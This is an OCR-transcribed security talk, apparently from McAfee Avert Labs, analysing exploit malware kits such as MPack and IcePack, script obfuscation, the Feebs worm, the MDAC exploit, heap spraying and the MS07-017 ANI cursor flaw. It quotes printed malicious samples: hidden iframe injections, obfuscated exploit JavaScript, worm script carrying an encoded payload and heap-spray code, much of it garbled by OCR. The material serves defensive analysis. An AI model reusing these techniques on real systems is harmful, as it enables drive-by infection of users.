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Introduction: What are Malware Kits (Exploit Driven)?

» Software components written mostly in PHP which
allows automatic installation of malware by exploiting
unpatched vulnerabilities in the system.

» Uses web browser as the attack vector

» Regular updates to the malware kit by updating the
exploit base and improving the management and
reporting capabilities.

» Most malware kits are sold commercially through
underground channels (Forums & IRC)

McAfee’
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Introduction: Why Malware Kits are popular?

» Ability to identify the remote operating system, browser
type and version, geography and send exploits
accordingly.

» Probability of successful infection is more when multiple
exploits are used against dissimilar targets.

» Efficiency of Attack, Statistics about the infected
Operating system, browser, exploits could be gathered

» Some kits like Icepack allow for automatic injection of
malicious iframes into multiple websites widening the
chances of infection.
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Underground Economy: Popular Malware

» Spy-Agent bv
e Harvests email addresses /Steal Information
e Currently Spammed on a weekly basis

» Proxy-Agent.o

e Harvests email addresses

e Uses system as HTTP proxy to masquerade
attacks

» PWS-Goldun

e Steals games passwords from the system
e Mostly spammed

» PWS-LDPinch

e DIY Malware using the configurator
(Source: AVERT)
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Infecting Users

» Hacking Machines

» Attack Strategy
e Exploiting Un-patched Vulnerabilities
O CGl Vulnerabilities
o Other Application related vulnerabilities
o Operating System related vulnerabilities
» Infection Methodology

e Inject HTML Iframes into the webpages
e Inject scripts into the webpages.
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Infecting Users

» Using Stolen / Fake Accounts

» Attack Strategy

e Use stolen / fake accounts in conjunction with scripts like Ftp-
Toolz which automates iframe injection into the websites

» Infection Methodology

e Post Iframes into HTML enabled websites or forums

McAfee’
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Infecting Users

» TypoSquatting

e Worldofwarcraft.com and WorldOfwarcraft.com
e Windowsupdate.com and VVindowsupdate.com
e Yahoo.com and Yahoo550.com

» Attack Strategy

e Using social-engineering to attempt a drive-by install

» Infection Methodology

e Embedded iframes and scripts in the attacker controlled page.
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Infecting Users

» Use commonly used Search words / Buy sponsored
links from search engines.

» Attack Strategy
e Manipulating search engine results

» Infection Methodology

e Inject HTML Iframes into the webpages
e Inject scripts into the webpages.
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Infecting Users: Study on Search Engine Safety

» Overall, 4.0% of search results

link to risky Web sites Google: |
YrEIQO! 5.4%

» Sponsored results contain 2.4  msn*: |

times as many risky sites as AOL )

organic results. .|

4'}'-: 5'}::- 6%

» Most dangerous search terms include Web Imxgss Goups News " Schol
Music and technology. G()Ugle download mp3 i

Search: @ the web O pages from India

Web

Download MP3 Hits 3

Download free mp3 hit music. Top artists and hit music free for downle
www.downloadmp3hits.com/ - 37k - Cached - Similar pages

emp3world.com - Free Mp3 Download

—  Source: McAfee SiteAdvlsor Search Engine Safety 2007 1. Free Mp3 Downloads 2. Free Mp3 Songs 3. Donwload Free Mp3 4. My
Download MP3s 6. Full Mp3 Albums 7. New Mp3 Hits 8. Mp3 Downloac
www_emp3world.com/ - 22k - Cached - Similar pages

McAfee’



Analysis of Adversarial Code: The role of Malware Kits !
Infecting Users

» Sending Emails using sensational or enticing subjects

» Attack Strategy

e Using social-engineering to attempt a drive-by install

» Infection Methodology

e HTML formatted mails containing embedded iframes

e Email containing phished (a href tags) links which attempts a
drive-by install

» Popularly adopted by Nuwar a.k.a. Storm worm which
built a massive botnet of infected computers (zombies)
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Popular Incidents: The lItalian Job

» Hackers compromise ~10,000 websites which pointed
to malicious links hosting Mpack.

» Believed to have exploited a vulnerability in CPanel

T COMPUTERWORLD .
— Security

[~ SEARCH

Hackers compromise 10Kk sites, launch ‘phenomenal’

attack
The large-scale attack is based on the multiexploit hacker kit dubbed 'Mpack'

Gregqg Keirer Today's Top Stories =  or Other Cybercrime and Hacking Stories =

(=) Comments (7) [ Recommendations: 200 — Recommend this article

June 18, 2007 (Computerwarld) — Atackers armed with an exploit tool kit have launched massive attacks in
Europe from a network of at least 10,000 hacked Web sites, with infections spreading worldwide, several security
companies warned today.
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Popular Incidents: Bank of India Hack

» Hackers compromise Bank of India Website
» Inserted multiple malicious iframes into the webpage

» Multiple exploits downloaded over 8 trojan variants
iIncluding a rootkit component.

<iframe src=./n404-1.hkm width=1 height=1»<fiframe =
» N404 kit used in this attack =iframe src=./n404-2.htm width=1 height=1<iframe:
<iframe src=, Ind404-3.htr width=1 height=1 = </iframe =
<iframe src=, ind04-4, bk width=1 height=1 > <fiframe =
<iframe src=. n404-5.hkm width=1 height=1<fiframe =
<iframe src=.nd404-6.hkm width=1 height=1»<fiframe =
<iframe src=,/nd04-7 bk width=1 height=1» <fiframe =
<iframe src=./n404-8.hkm width=1 height=1 <fiframe =
<iframe src=, Ind404-9. htr width=1 height=1=</iframe =

Source: http://www.avertlabs.com/research/blog/index.php/2007/08/31/compromised-bank-of-india-website/
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Popular Incidents: IndiaTimes Hack

» Injected malicious script into the webpage.

» The installed malware included a cocktail of
Downloader and Dropper Trojans.

" signoutdotcom[1] - Notepad E“E'E' er

File Edit Format Wiew Help

“Earch ‘M::\? Favarites ﬁ:‘} :‘Iv ;;_ A 3

<HTML >

<HEAD > ukdotcom, aspi

<titlesrsignoutbot com</Titlex

<meta content="Microsoft wisual sStudio .MET 7. el
<meta content="C#" name="CODE_LANGUAGE" > 5
<meta content="Javascript” name="ws_defaultc]i
<meta content="http:/ /schemas.microsoft. com/n
<SCRIPT language="JAVASCRIPT"><!——

URLparts = ma‘inLlRL.sHJ'I indianmes
1

if (URLparts[2]== nu

setTimeout("top. Tocation. href = URLpar
T else

setTimeout("top. location. href = URLpar
S == /SCRIPT> >

< HEAD>
<hody MS_POSITIONING="GridLayout"=
<form name="Forml" method="post" action="signo
<input type="hidden" name="_ VIEWSTATE" wvalue="dDwtMjAzNzcZOTU

McAfee’
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MPACK

» PHP based malware kit produced by Russian Hackers.

» Sold for around $700 - $1000 with additional costs for
updates

» The tool gets initiated when index.php hosted on a server is
accessed by a user.

» This file determines the browser and operating system of the
Incoming user.

» Based on the browser type and operating system a web
exploit is served to the user's machine.

» Post the successful exploitation, a payload file is sent to the

user’'s machine and automatically executed.
McAfee
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MPACK Architecture

MPACK

internetexp | e | | oner U

—

PASOE-0449 —Wulnerability im RARNC

MSOE-014 — Microsoft Windows M DeC
Wulmnerability

QuickTime — QuickTime RTSP Owerflow
WUWINZIP -WinZip Active® Owe rflow
PASOE-057F — We bwiewfoldericnon wulnerability

PASOG-006 — Windows PMedia Playver plugin
wulmerability

PASOTFT-0OLTF — A Vvulnerability

PASOGS-071L —Wulnerability imn XML Core SEWiE&‘FI
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Logs the Operating system and T T ST
browser statistics. - Quddime

T T 12514
| Opera7 |

Logs the number of attacks and —
efficiency according to IP Browser stats (totaD

address and geography.

Traffic (total - uniq)

Software could be Configured to Total traff 159073 - 129089
: : xploite -
send exploit only once which |-

. I oader's response 85% - 44.89%
could hinder analysis by T e e

researchers
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Blocking country according to — e e
- oun ckin
the predefined 2 letter country | Countrybloddng | 0% |

COdeS Image Source: VirusTotal Blog
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ICEPACK Architecture

1
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ICEPACK Control Panel

Systems
Observers
Loadings

sy 1NE COUNtries
; AR

Referrals

Enter into a window a code of yours iIFrame, choose a variant of insta

Clearing

: button "To begin” Also pass to [To viewing of progress]

Variants of installation

Record before </body> :

In the end of a file :
Rewriting of files :
In addition

To delete frames :

To begin
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Analyzing Obfuscated Code
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Code Obfuscation

» Most of the code obfuscation techniques are composed
of two parts:

e Encrypted string
e Decryptor

» This process may be repeated several times, the
decrypted string may contain another string to be
decrypted.

» The level of decryption loop varies based on the
algorithm.

McAfee’
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How De-obfuscation works?

» Place hooks on the commonly used methods such as

e document.write
e document.writeln
e ecval

» Redirect them to a log window instead of execution,
where the data can be conveniently interpreted.

» Using hostilejsdebug to de-obfuscate scripts.

McAfee’
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Obfuscating Code

» Base 64 Encoding
e http://www.motobit.com/util/lbase64-decoder-encoder.asp

» Dean Edwards packer
e http://dean.edwards.name/packer/

» String splits
» Gzip Encoding

» Custom Encoders

McAfee’
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IcePack Obfuscated exploit (IE)

kscript language—JavaScript>function do(®x) {ivar l1l=x.length,b—

1024  i,j,r,0—0,==0,w=0, c=Array

(63,34, 35,36,19 2,111,224 12,56, 0,0,0,0,0,0,9,.,18, 22,55,15,8,7,25,5,38,.42,
45,533,499, 50,59, 60,8681 ,17,.,6,48,14, 43,33, 20,41 ,31,0,0,0,0,27,0,26,0,549,44,
1,.,682,29,46,30,58,23,. 28, 32,10, 52, 57,47,4,51,3,37,16,4940,21,13,39) rfor

(J=Match.ceil (L) ;jJ>0:J——){r=""rfor(i=Math.min(l,b) ;i>0;i——,1l——){w|=I(TC
[x-charCodebt (p++) 48] )I<<=s;if(=){ir+=5tring. fromCharCode (165™w&255) ;W=
8rs——2telsse{s—6} document . Wwrite () ¥

dc("wfaIyFyN@kTCEzPNEOpaTiEnkquE_lshzSHEEEHE
_PLn_KHtFylSVEHEUFN@EEIanJqIGSbﬂlT_
1jVGJPHDthRkESEEpW52ijCtPHEtPLFEWH@&dLESlTTinY_DGWG
@uxEYEkaUEIETZI_UuEH@HWﬂ@llcpEmETuxﬂiuIS@EViiEkEfW_
1FVEITWwHFOETSFQIwfalBFyCECcPIwEjopOp2ZHjgWFclerDysnZ=HSQLECWN =21 jCcPHec PL
BT 23VEITwLR=gNbEgRITgIYlvt BHegl I gl VEidNe=sQIGS8s4kEse?pWESsg 98Dy FhEInSS
5ﬂq@JanJqIYLSZysngW@ﬂPHEtyHEtEIFfUH&&dQSEysxFQW_

15VAdNnJgj TwvgdHMRasdNe kEpDLDSQOFE

SO0CwWwOmFETwE Zok=7ThlgDEeEuht X 2w ifinWViZ2jVdNJoy=1NEek T7T2htiTEZhPREZO1
BtPHNSFgsDiGIgDpuhtUiXiU2wEnVdiT9ec 8 NFQLHSETH U9t 83 HNFQLL 1 3 VdNJIJCOmFETwE S
GkkEIHjUEEtEjHFQLanGF;gnksPHEC?u@cQEijEWﬂYﬂni@

2i14VAN LEFyokglWhtiThE2ZhPREEZWwEnV T2 VdlivdOsos

1 o8WVPNHLAPOmMmEDT 2 FPoyHNE JJgHNJCWw IIinWVdOyMEkSTEOgRwOTul kETHREGCxaluSkYMxadzwinW
dUyvMkkwivkgPrFgsSkETHSOQNED FMrkyTyviEmvsGulBE@mvsGulBEEmvtG3bZ8mve @
SgifmvCpMEBaSmv @
SASEmvkEYuhc@mvtp3tt@mvep3gifmvkYukEEmy Yutt@mvFRzSsE8mvd L TRARmvFPHMEa Bk
pPTEUEmvE4GEIFo8my GzkocBmveGE3ItZ Bmw
EuxcB@mvkGTSZ8mvFEMra@mvt PHEERmy pHMEDEmvEE3eDEmvcEB@TEE
Emvc@TgifmvkyukSEmvDpIeF8mvkYMgiSmwCpMRi SmvdYHMvS8mwEFlTxafmnvkGEI3Igismvkyag
i8mv duSt@mvepufS
BowvDETda8mvDETAUSmvDGEIkES58mvDYMe4aSmv F YyuxBEmvtc YMEBEASMw ZRTw5E8mv6E=45
EBrorrkEad S

Ermry luEBaf@mvk¥YudSEmy GuRBEmvEYMACEZmvFEugi SmvCpMxaSmvad Y MAREmvwCpMrFEmvkEzR
BEmvkE@ZzbZ 8mvFGugi 8mvCETES Bmv 6 YHMEB Bmw FEFagi Smrrs 2
ZEatmvCETFDEmvEETRSSmvtlzb
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MPack MultiLevel Encoded Decryptor

<script language=javascript>

document .write (unescape ("33CS5criptiZ0Language%:3D%2TJavaScript32 TS
3Edocument . Wwrite328320unescapei2832TE253C2 257322563325 72%2569%2570%
257432 53EX 25203 250D 2 50RAE 266X 25 TEE206ER 2563320743 2569F256F3I256EX25203%
2L T AR 2 EE 2 02 B2 ST 3R 252092 50D%E 25 0RR 2 TERZSZ20%25 702256 L%25T2%F2520%2573%
25313%253D%2520%32575%256E%2565%25T73%256332561%2570%32565%25283%32520%2573%
20 Z2ER 2o T3E 20T 0% 20622073820 74%25T2%252832530%252C22520%25732252E%X2560C%
206532 06EXZ2568TI25 74225683 252D%F 2531325293 25259%2538%2520%252032576%2561%
207232 520% 207432 553DF 252 TE2502TE 25383250063 256FF20T232528%25683253D%2530%
25 E3B325E0% 2 5 3CE2E T 33253 1%2 5 2ER250eCE25650%200E%256TE25T4%2568%2538B%32569%
2E2BR 2L BREZ S 2% 2520328 TAX 25 ZEBE 25503255 E3F25TA4FZET232569%F250EFZ56TEZEZER
20EBE 20T 2L 206FE2506D% 25433250682 2501%25 72325433 256F225604%2565%32528%2520%

<Script Language="'JavaScript'>document.write( unescape ("3$3C3FT3363%72%
693 T0ET433ER2020D20A2E6E To2EEZ632 7426926 FE6EX2 03 TARSEE 2B 732293002 0AS
TBE20376361%72%20% 733313303203 75%36E265%733633613T70%65%283203T73%32E%73%
ToEE2E 735745 T72%28%30%2CE20%T7332ES6CE65%0ER6TET4%68%2DF31329329%3368%20%
20FT763613T72%20%T74%3D%2 732 T733E36636FE 723283693 3D%30%36B%6933C3T73331%2ES
ECEE52EEZETE 742682 3B2 603 2BR2EBE2 093208 T432B%3D3E533 743722692 6EZETE2EZ06R
T2%6F%6D%43%608%3013T72%43%0F304%65%28% 208733312 2E363308%301372%43%0F%04%
653413 7432826932093 2D3 202 T332ER T332 752623733743 T723 282732 2EX6C26526EZETE
Ta4%FeEF2DE31F2CF20%31%29% 293383203003 0A%64%6F263375%36D365%0EXT4A4Z2ERXTTE
T2E69% 743652288 T75%6E265% 7326332618 T70%65%283 743293293383 2087D20D20OAT3CE

<5Script Language='JavaScript'>

function zX (=)

{ var sl= unescape( =.substr(0, =.length-1)); war t='';for(i=0;i
<s5l.length;i++) t+=5tring.fromCharCode( sl.charCodelt(i)- s.substr
(3.length-1, 1}):
document .write (unescape (t)):

McAfee’
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H TML Guar dian B trribaygahx Greetings! - Message (Plain Text) |:||E|r>__(|

! Fle Edt View Insert Format  Tools  Ackions  Help

» Commercial Product oy | ot s 3 v X (@00 B

~ 40 $ From:  Pussy [dmose@netscape.com] Sent: Wed 11/7/2007 10:39 AM
To Wirus Research
e

Subject:  trribayoahy Greetings!

» Decryptor is encoded and
the decoded function
evaluates encrypted string

“Yeat-n.mm.ru - 21 Juccess Scerets of Jelf-

» The above spammed e g il
a’fefzzr e ]rw 0 Dyt 5 s 5 ki ¥, Ut a0
&y willegy 5 Hoiny

mail delivers exploit [
MS06-014 vulnerability. &=

<body>

<3cript>C000

='90d0a2020202020202020202020204f6e204572726£7220526573756d65204265T874
‘ 0d0a2020202020202020202020206£5T75368656c6c2e52756e20284578654e616d652592

"l
2y OBLfete Lo ﬂfnp oy e il
s Ll P ity e

c3l2c40414c53450d0a202020202020456c73650d40a2020202020202020202020206£53
T4T726560l0d2e4d6fe4653d0ol644d6L64655265010457T726974650d0a20202020202020"
seval (unescape ("366%¥T530E363%T74309%0F30E320%5F303328%5F3693293 783763613
T2320%T74353D%0F%0932E¥T2%65370%6C301363%05%320832F%2835C303%T7B332%7D329%
ZEEETE0932C82 732433132032 T32 98383743303 2732532 73283743383 7433D%7432E3
TIETo%02FTIET43T2328%30%2C3T4%2E20C265%0E36T3T4%08320331%29338%60430F3
B33T5%0D30536ERT4R2ERTTET2365%T74305328%T536E365%T7330336013T70365%283743

AﬂCAfee@) 29329%7D33B')) ;</scripty
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Feebs Worm

» Polymorphic worm which has

Javascript and Vbscript
components.

Harvests mail from the
machine and sends itself
using its own SMTP engine

Injects a ZIP attachment
containing a copy of the
worm into outgoing SMTP
sessions.

Drops rootkit component,
opens backdoor, drops copy
of the worm into p2p folders

McAfee’

<script language=JavaScriptrcj=unescape ("3%3C");
fn="rkexgiinstall™;
fr=unescape (location.href).substcr(8);
try{

fa=new ActiveXObject ("Scripting.FileSystemCbject™);

wa=new ActiveXObject ("WScript.Shell™);

dr=ws.RegRead
("HECU"+cj+"SOFTWARE"+cj+"Microsoft"+cj+"Windows"+cj+"CurrentVersion™+c
j+"Explorer"+cj+"Shell Folders"+cj+"Startup”);

wd="c:"+cj+"d";fs.CreateFolder (wd) }catch (h) {}:;function £3(){return
falze}document .oncontextmenu=£3;
</script>

<script language="vbs"»>st=wdicj&fni".exe"

fr=LCase (Replace (fr,"/",ci))

dr=LCase (dr)

tl=dr&cj&fng”.hta"

Sub bs
r="TVgQAAMARARFARAL / /RRALgAARAARARAQARARAAAAARRARARARARAARARARARARAADAR
ARARARARAARRVRALRL A Fugd AL AnNTbgBTMOhVGhpeyBwend9nemF £t IGNhbmSvdCBiZ 5BydW4
gaW4gRESTIGIvZGUuDQOKJAAARRARAADZ GnDanXseiZl THomdex6JnX2fiZhTHon/ ZA2 Inn
zeiatdF¥meex6JUmljall THokAR AR R AR AR A AR A AL AR AR AL AR AR R ARORORATAFEALTST
UcARARAnnnan nOn A IwE LAY A AN YRR AR A A A AR L OCT AR ARG AR R LA LA RARARORRR AR R
BRAL AN AP A A LA AR A A A A R AR T AR A A DA A Ay AL AR ARFAR AR AR ARE
LAARARARAARAAANZAALD

AARGARLR
AAR AR AR AR AR AN AR A AL AR AACCOZKnORAR A CQRARAOARART gRARATARAARAARD
AR AR AR CAARCAR AN AR A A AL A LA AN AR AR AR 2 CARANCOARFLKARROSARRHOQ
AAARARARA3D) TmEexLozUwBehPyqYowIYCaSGmeaHWikuTT2j0CoJo2Usy1vE/ G/ 2wzpPrD
JHIy£a00t1jCashw/ jMwgSRL31KL1eZJ1Q2onESykdufvwga/ cet Jom3TnyKf+sVloD5ahn
awgBRMpVmhneIJe i VwyUBGT ZpUgRZCO00IEoirrtvT0ke3r18TyuaggBOEZ INXINTX1601FQ
ZEtW3rYiskyyQmBKgpDACIUPg0sN+yIQT9F+aljaszeHOYor ILnpEfXulUxGEcBEF4rljg
kDFt1R4WDRBGEOFPoHIKO0GVHZXcTqohullhduyLJ4HdZGEdygxT4Z1iTp/ drKepfHxb5SByt
KSUETHoJXhGNzcuvb 10t 3Z2QkEvE0HIstBIZT 3k+CGR1KoBeyPect FnlhELSNjeWeo53hdRTR
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DEMO

(Deobfuscating Malicious Scripts)
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How Browser Exploits Work?
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MDAC Exploit — MS06-014

» The exploit is delivered to a user’s browser via an
Iframe on a compromised /malicious web page.

» The iframe contains JavaScript to instantiate an ActiveX
object with

e CLSID {BD96C556-65A3-11D0-983A-00C04FC29E36}

» The Javascript makes an AJAX XMLHTTP request to
download an executable.

» Adodb.stream is used to write the executable to disk.

» Shell.Application is used to launch the newly written
executable.

McAfee’



Analysis of Adversarial Code: The role of Malware Kits !
Heap Spray Exploit

» State of the art in browser exploitation — developed by
SkyLined in 2004.

» System heap accessible from JavaScript Code

var nop = unescape ("%us090%u9090") ;
// Create a 1IMB string of NOP instructions followed by shellcode:

[/

// malloc header string length NOF slide shellcode NULL terminator
// 32 bytes 4 bytes ¥ bytes Yy bytes 2 bytes

while (nop.length <= 0x100000/2) nop += nop;

nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);
var = = new Array();

// Fill Z00MB of memory with copies of the NOP slide and shellcode

for (var 1 = 0; i < 200; i++)

®x[1] = nop + shellcode;

}
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Background: ANI Vulnerability

» What Microsoft had to say?

e “A remote code execution vulnerability exists in the way that
Windows handles cursor, animated cursor, and icon formats.
An attacker could try to exploit the vulnerability by constructing
a malicious cursor or icon file that could potentially allow remote
code execution” — ms07-017

» Related vulnerability reported by eeye in 2005.

o Vulnerability in LoadCursorlconFromFileMap() function in user32.dll

o Caused due to improper bound checking while reading the
structure.
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Defining the Vulnerability: ANI File Format

» ANI file format is used for storing animated cursors
» Based on RIFF multimedia file format

» Each chunk starts with a 4 byte ASCII tag, followed by a dword
specifying the size of the data contained in the chunk.

» One of the chunks in an ANl file is the anih chunk, which contains a
36-byte animation header structure.

e "anih" {(DWORD)Length_of AnimationHeader}
{AnimationHeaderBlock}

» The vulnerable code did not validate the length of the anih chunk
before reading the chunk data into fixed size buffer on the stack.
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~text:7E4SHBZ2C
~text:7E454031
~Eext:7E4S4B33
~EexXt I 7EL4S A3
-text:7E4S5LB3A
~text:7E45483A
~text:7E45483A
~text:7E45483A
~Etext7E4SHBID
~EeXtI7ELSLHAID
-text:7E4SLAID
~text:7E454848
~text:7E4SHBLE
~text:7E4SHBLB
~EexXt:7ELSLHAS O
-EeXt I 7EL4SHASG
~text7E4S54B5B
~text:7E454B61
~text:7E454 866

-text:-7ELSLATHG
~text:7E4SHB7D
~text:7E45487A
~text:7E4SHB7D
~Eext:7ELSHBTE
~text:-7ELSLABTF
-text:-7ELSLARYL

Frvord = FC LIC L ROA
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loc_ 7EASLB3A:

loc_7EAShHA3D:

mow

mou
cmp
jz
cmp
iz
cCmp
jz
cmp
jnz

lea

push
lea

push
push
call
test

i

_ReadTag28 ; ReadTag{=x.x)
eax, eax

short loc FELSLA3D

loc FEAS L2998

: CODE XREF: LoadAnilcon

esi, [ebp+var_ 18]

: CODE XREF: LoadAnilcon
eax, [ebp+uvar_ 28]
eax, 28716573h
loc 7EAS K207
eax, S453HOLCH
loc 7E4S 3161
eax, G5746172h
loc_7EASHI13F
eax, GB6DGEG1Th
loc 7EALASNAREB

eax,
eax
eax,
eax
ebx
ReadChunki@12 : ReadChunk{x,®x.x)

eax, eax
Tover FLO LD LTINO

[ebp+uar_ 4L

[ebp+uar 28]
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~text:77D83FD2
-text:77/D83IFDY
-text:77/D83FDY
-text:77D83IFDF

_ReadTag@8 ; ReadTag{x,®)
eax, eax

loc_77D8423F

cshort loc_ 77DEB3FELY

-text//DB3FE1 [

-text:77DB3FE1
-text:77/DB83FE1 loc_7¥7D83FE1:
-text:77D83FE1
-text:77DB3FEAL
text:7/D83FE4 loc_ 7/D83FEAL:
-text:77DB3FES
-text:7/DB3FEY
-text:7/DB3FEC
-text:7/DB3FF2
-text:77/DB3FFY
-text:77/DB83FFD
-text:77D84AGH2
-text:77D84LOAHE
-text:77D84A08D
textI77/DB4HO13
ftext:7/DB4A16
text:77/D8HO1T
-text:77/D84A1A
-text:77/DB4O1E
-text:77D84O1C
-text:77D84821
-text:77/D84B23
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mouw

mov
cmp
jz
cmp
jz
cmp
jz
cmp
jnz
lea
push
lea
push
push
call
test
jz

: CODE XREF: LoadAnilcon:
esi, [ebpruar 8]

: CODE XREF: LoadanilIcom
eax, [ebp+var 28]
eax, 28716573h
loc_77D8416E
eax, S4S3LHOLCH
loc_77D840CH
eax, 65746172h
loc_77D840AE
eax, 6B696EG1h
loc 77D840F2
eax, [ebp+var LC]
e3x
eax, [ebprvar_ 28]
eax
ebx
_ReadChunkid1 2 ; ReadChunk{=,=.%)
eax, eax
loc_77D84218
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ARRAAARA :
ABRAAA1A:
ARRAAAZA:
HBAAAA3A:
HBAAAA4A
AAARARSA
HABRARGA :
HABRAAYA
HABRARAA -
ARRAAATA :
ARAAAAAA :
ARAAAARA :
HBRAAACH:
HBAAAADA :
HARBARER :
HABBRAAFA :
HABRA1AA
HABRA11A:
ARAAA1 20 :
ABAAA1 30 :
ARAAA1 40 :
ABAAA150:
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DEMO

(Exploiting ANI Vulnerability MS07-017)
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Revisiting the Agenda

» Malware Kits

e Role of Malware kits

e MPack & IcePack Architecture
» Obfuscation Techniques

e Common Encoders / Decoders

e Feebs Polymorphic worm

» Analyzing Obfuscated Code

» How Browser Exploits work?

e ActiveX Exploits
e Heap Spray Technique
e Case Study: ANI Vulnerability
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Questions ?

rahul_mohandas@avertlabs.com
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